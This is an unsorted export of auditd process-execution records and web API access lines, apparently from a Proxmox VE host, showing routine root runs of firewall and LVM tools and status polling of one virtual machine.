exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64284 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966005405,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966005.405:68046): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=65345 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964394761,"@rawstring":"node=pve type=EXECVE msg=audit(1781964394.761:60826): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781965196847,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:19:55 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 912"} {"@timestamp":1781964395587,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964395.587:60851): arch=c000003e syscall=59 success=no exit=-2 a0=7fff92f32630 a1=5a51b3e1d310 a2=5a51b3e16680 a3=5 items=1 ppid=58421 pid=58422 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966005291,"@rawstring":"node=pve type=EXECVE msg=audit(1781966005.291:68027): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965746032,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965746.032:66928): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=5d6f39313740 items=0 ppid=1156 pid=64283 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781966005397,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966005.397:68045): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65344 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964394737,"@rawstring":"node=pve type=EXECVE msg=audit(1781964394.737:60825): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781965196847,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:19:55 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 500"} {"@timestamp":1781964395509,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964395.509:60833): arch=c000003e syscall=59 success=no exit=-2 a0=7ffc04e71d70 a1=6219c2fbc200 a2=6219c2f9a680 a3=5 items=1 ppid=58402 pid=58403 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966005283,"@rawstring":"node=pve type=EXECVE msg=audit(1781966005.283:68026): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965746029,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965746.029:66927): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc13b830 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64283 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781966005389,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966005.389:68044): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65343 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964394209,"@rawstring":"node=pve type=EXECVE msg=audit(1781964394.209:60824): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965195862,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:19:54 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 507"} {"@timestamp":1781964394209,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964394.209:60823): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58392 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966005277,"@rawstring":"node=pve type=EXECVE msg=audit(1781966005.277:68025): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781965746022,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965746.022:66926): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc135ec0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64282 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966005379,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966005.379:68043): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65342 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964394202,"@rawstring":"node=pve type=EXECVE msg=audit(1781964394.202:60821): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965195862,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:19:54 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 913"} {"@timestamp":1781964394208,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964394.208:60822): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58392 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966005268,"@rawstring":"node=pve type=EXECVE msg=audit(1781966005.268:68024): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965746015,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965746.015:66925): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc140320 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64281 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966005371,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966005.371:68042): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65341 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964389183,"@rawstring":"node=pve type=EXECVE msg=audit(1781964389.183:60818): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965195862,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:19:54 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964394202,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964394.202:60820): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58391 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966005257,"@rawstring":"node=pve type=EXECVE msg=audit(1781966005.257:68023): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965746007,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965746.007:66924): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc139ba0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64280 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966005367,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966005.367:68041): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=5fa8b8288740 items=0 ppid=1156 pid=65340 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781964389162,"@rawstring":"node=pve type=EXECVE msg=audit(1781964389.162:60815): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965194839,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:19:53 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1108"} {"@timestamp":1781964394202,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964394.202:60819): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58391 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966005069,"@rawstring":"node=pve type=EXECVE msg=audit(1781966005.069:68022): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965745999,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965745.999:66923): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0ff5c0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64279 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966005363,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966005.363:68040): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc1361d0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65340 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781964385462,"@rawstring":"node=pve type=EXECVE msg=audit(1781964385.462:60812): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965194839,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:19:53 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 915"} {"@timestamp":1781964389183,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964389.183:60817): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58390 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966005062,"@rawstring":"node=pve type=EXECVE msg=audit(1781966005.062:68019): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965745993,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965745.993:66922): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0e67b0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64278 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966005355,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966005.355:68039): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc1361a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65339 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964385459,"@rawstring":"node=pve type=EXECVE msg=audit(1781964385.459:60811): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965193734,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:19:52 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1116"} {"@timestamp":1781964389183,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964389.183:60816): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58390 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966004373,"@rawstring":"node=pve type=EXECVE msg=audit(1781966004.373:68016): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781965745985,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965745.985:66921): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64277 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966005348,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966005.348:68038): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0ee2b0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65338 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964385457,"@rawstring":"node=pve type=EXECVE msg=audit(1781964385.457:60810): argc=1 a0=\"date\""} {"@timestamp":1781965193734,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:19:52 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 503"} {"@timestamp":1781964389162,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964389.162:60814): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58389 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966004344,"@rawstring":"node=pve type=EXECVE msg=audit(1781966004.344:68015): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781965745977,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965745.977:66920): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64276 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966005340,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966005.340:68037): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc148a10 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65337 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964385453,"@rawstring":"node=pve type=EXECVE msg=audit(1781964385.453:60808): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965193734,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:19:52 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 915"} {"@timestamp":1781964389162,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964389.162:60813): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58389 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966000054,"@rawstring":"node=pve type=EXECVE msg=audit(1781966000.054:68014): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965745972,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965745.972:66919): arch=c000003e syscall=59 success=yes exit=0 a0=6029866f6b20 a1=602986702e40 a2=6029866d0680 a3=5 items=2 ppid=64269 pid=64275 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966005334,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966005.334:68036): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0ee2b0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65336 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964385446,"@rawstring":"node=pve type=EXECVE msg=audit(1781964385.446:60807): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965192641,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:19:51 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 503"} {"@timestamp":1781964385457,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964385.457:60809): arch=c000003e syscall=59 success=no exit=-2 a0=7fff9c58e1f0 a1=5b169ddbf200 a2=5b169dd9d680 a3=5 items=1 ppid=58382 pid=58383 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966000047,"@rawstring":"node=pve type=EXECVE msg=audit(1781966000.047:68011): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965745969,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965745.969:66918): arch=c000003e syscall=59 success=yes exit=0 a0=602970a63ac8 a1=7ffc82c1f200 a2=6029866d0680 a3=602970a4724e items=2 ppid=64269 pid=64271 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966005328,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966005.328:68035): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8b21940 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65335 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781964385440,"@rawstring":"node=pve type=EXECVE msg=audit(1781964385.440:60806): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965192641,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:19:51 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964385378,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964385.378:60791): arch=c000003e syscall=59 success=no exit=-2 a0=7ffd8478f810 a1=5e70f4ceb310 a2=5e70f4ce4680 a3=5 items=1 ppid=58363 pid=58364 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965995239,"@rawstring":"node=pve type=EXECVE msg=audit(1781965995.239:68008): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965745968,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965745.968:66917): arch=c000003e syscall=59 success=yes exit=0 a0=7ffc82c1f1c0 a1=6029866f21c0 a2=6029866d0680 a3=5 items=2 ppid=64269 pid=64270 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781966005320,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966005.320:68034): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65334 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964385433,"@rawstring":"node=pve type=EXECVE msg=audit(1781964385.433:60805): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965192641,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:19:51 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 889"} {"@timestamp":1781964384152,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964384.152:60781): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58353 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965995234,"@rawstring":"node=pve type=EXECVE msg=audit(1781965995.234:68007): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965745964,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965745.964:66915): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=64269 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966005313,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966005.313:68033): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65333 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964385427,"@rawstring":"node=pve type=EXECVE msg=audit(1781964385.427:60804): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965191501,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:19:50 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1108"} {"@timestamp":1781964384152,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964384.152:60780): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58353 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965995233,"@rawstring":"node=pve type=EXECVE msg=audit(1781965995.233:68006): argc=1 a0=\"date\""} {"@timestamp":1781965745954,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965745.954:66914): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64268 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} 